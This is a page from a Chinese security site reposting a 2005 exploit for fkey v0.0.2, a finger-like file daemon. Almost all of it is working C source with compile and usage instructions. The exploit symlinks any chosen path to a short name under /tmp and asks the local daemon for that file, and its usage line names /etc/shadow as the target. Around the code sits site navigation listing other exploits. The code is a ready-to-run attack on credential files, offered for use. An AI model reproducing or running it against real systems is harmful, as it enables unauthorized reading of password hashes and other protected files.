首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
fkey v0.0.2 Local File Accessibility Exploit
来源:vfocus.net 作者:vade79/v9 发布时间:2005-01-22  

fkey v0.0.2 Local File Accessibility Exploit

*[ fkey[v0.0.2]: local/remote file accessibility exploit. ]*
* *
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
* *
* xfkey homepage/URL: *
* http://www.freshmeat.net/projects/fkey *
* *
* compile: *
* gcc xfkey.c -o xfkey *
* *
* syntax: *
* # ./xfkey /etc/shadow 2>~/save_filename *
* *
* bug: *
* fkey is a finger-like daemon for accessing remote files *
* in a specified directory. there is no limitations *
* placed on the file acessing other than it must be a *
* filename/path equal to 10 or less bytes. this limits *
* the remote possibilities somewhat, but symlinking to a *
* short path(ie. /tmp/file) locally can access anything. *
* (this exploits locally) *
* *
* note: *
* this is pretty low-risk due to the fact that the *
* program isn't very common, just browsing freshmeat.net *
* and killing some time. *
************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define TMPFILE "/tmp/xfkey" /* must be 10 characters or less. */

void fkey_connect(unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}

int main(int argc,char **argv){
unsigned short port=79;
if(argc<2){
printf("[!] syntax: %s <file> [port]\n",argv[0]);
exit(1);
}
if(argc>2)port=atoi(argv[2]);
unlink(TMPFILE);
if(symlink(argv[1],TMPFILE))
printe("symlink() failed.",1);
fkey_connect(port);
unlink(TMPFILE);
exit(0);
}
void fkey_connect(unsigned short port){
int sock=0,l=0,m=0;
char buf[1024+1];
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
printf("[*] attempting to connect: localhost:%u.\n",port);
if((s.sin_addr.s_addr=inet_addr("127.0.0.1"))){
if(!(t=gethostbyname("localhost")))
printe("couldn't resolve hostname.",1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(3);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("connection failed.",1);
alarm(0);
printf("[*] successfully connected: localhost:%u.\n",port);
write(sock,TMPFILE,strlen(TMPFILE));
alarm(5);
for(memset(buf,0,1025);(l=read(sock,buf,1024));memset(buf,0,1025)){
fputs(buf,stderr);
m+=l;
}
alarm(0);
if(m<=0)
printe("exploit failed, file doesn't exist or zero-length file.",0);
close(sock);
return;
}
void printe(char *err,short e){
printf("[!] %s\n",err);
if(e)exit(1);
return;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·EXIM dns_buld_reverse() PoC
·MacOSX <= 10.3.7 Input Vali
·Peer2Mail Encrypted Password D
·Microsoft Internet Explorer .A
·NodeManager Professional 2.00
·Mac OS X 10.3 iSync 'mRouter'
·Linux kernel i386 SMP race con
·最新Help ActiveX控件网页木马
·Apple iTunes Playlist Remote B
·Search and Replace Compressed
·Apple iTunes Playlist Buffer O
·AWStats configdir Remote Comma
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved